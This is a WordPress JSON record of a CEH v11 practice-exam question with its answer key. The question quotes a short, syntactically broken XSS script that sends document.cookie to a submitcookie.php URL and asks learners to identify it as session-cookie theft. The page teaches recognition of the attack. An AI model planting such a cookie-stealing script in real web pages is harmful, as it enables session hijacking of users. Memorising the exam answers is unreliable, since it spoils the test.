{"id":324,"date":"2022-02-25T19:43:38","date_gmt":"2022-02-25T19:37:12","guid":{"rendered":"https:\/\/exampracticetests.com\/eccouncil\/ceh-v11\/certified-ethical-hacker-v11-312-50v11-question183\/"},"modified":"2022-02-25T19:46:26","modified_gmt":"2022-02-25T19:46:26","slug":"certified-ethical-hacker-v11-312-50v11-question183","status":"publish","type":"post","link":"https:\/\/exampracticetests.com\/eccouncil\/ceh-v11\/certified-ethical-hacker-v11-312-50v11-question183\/","title":{"rendered":"Certified Ethical Hacker v11 312-50v11 &#8211; Question183"},"content":{"rendered":"<div class=\"question\">Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:<\/p>\n<blockquote class=\"wp-block-quote code\"><p>\n&lt;script&gt;<br \/>\ndocument.write( &#039;&lt;img. src=&quot;https:\/\/localhost\/submitcookie.php? cookie =&#039;+ escape<br \/>\n(document.cookie) +&quot;&#039;? \/&gt;);<br \/>\n&lt;\/script&gt;\n<\/p><\/blockquote>\n<p>What issue occurred for the users who clicked on the image?<br \/><strong><br \/>A.<\/strong> This php file silently executes the code and grabs the user&#039;s session cookie and session ID.<br \/><strong>B.<\/strong> The code redirects the user to another site.<br \/><strong>C.<\/strong> The code injects a new cookie to the browser.<br \/><strong>D.<\/strong> The code is a virus that is attempting to gather the user&#039;s username and password.<\/div>\n<p><\/p>\n<style> .hidden-div{ display:none } <\/style>\n<p>\t\t\t\t\t\t\t<button onclick=\"getElementById('hidden-div').style.display = 'block'\"> Show Answer <\/button> <button onclick=\"getElementById('hidden-div').style.display = 'none'\">Hide Answer<\/button><\/p>\n<div class=\"hidden-div\" id=\"hidden-div\"><span style=\"\"><\/p>\n<div class=\"answer\">Correct Answer: <strong>A<\/strong><\/div>\n<p><\/strong><\/span> <\/div>\n","protected":false},"excerpt":{"rendered":"<p>Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images: &lt;script&gt; document.write( &#039;&lt;img. src=&quot;https:\/\/localhost\/submitcookie.php? cookie =&#039;+ escape (document.cookie) +&quot;&#039;? \/&gt;); &lt;\/script&gt; What issue occurred for the users who clicked on [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[3,186],"class_list":["post-324","post","type-post","status-publish","format-standard","hentry","category-certified-ethical-hacker-v11-312-50v11","tag-certified-ethical-hacker-v11-312-50v11","tag-question-183"],"_links":{"self":[{"href":"https:\/\/exampracticetests.com\/eccouncil\/ceh-v11\/wp-json\/wp\/v2\/posts\/324","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/exampracticetests.com\/eccouncil\/ceh-v11\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/exampracticetests.com\/eccouncil\/ceh-v11\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/exampracticetests.com\/eccouncil\/ceh-v11\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/exampracticetests.com\/eccouncil\/ceh-v11\/wp-json\/wp\/v2\/comments?post=324"}],"version-history":[{"count":1,"href":"https:\/\/exampracticetests.com\/eccouncil\/ceh-v11\/wp-json\/wp\/v2\/posts\/324\/revisions"}],"predecessor-version":[{"id":551,"href":"https:\/\/exampracticetests.com\/eccouncil\/ceh-v11\/wp-json\/wp\/v2\/posts\/324\/revisions\/551"}],"wp:attachment":[{"href":"https:\/\/exampracticetests.com\/eccouncil\/ceh-v11\/wp-json\/wp\/v2\/media?parent=324"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/exampracticetests.com\/eccouncil\/ceh-v11\/wp-json\/wp\/v2\/categories?post=324"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/exampracticetests.com\/eccouncil\/ceh-v11\/wp-json\/wp\/v2\/tags?post=324"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}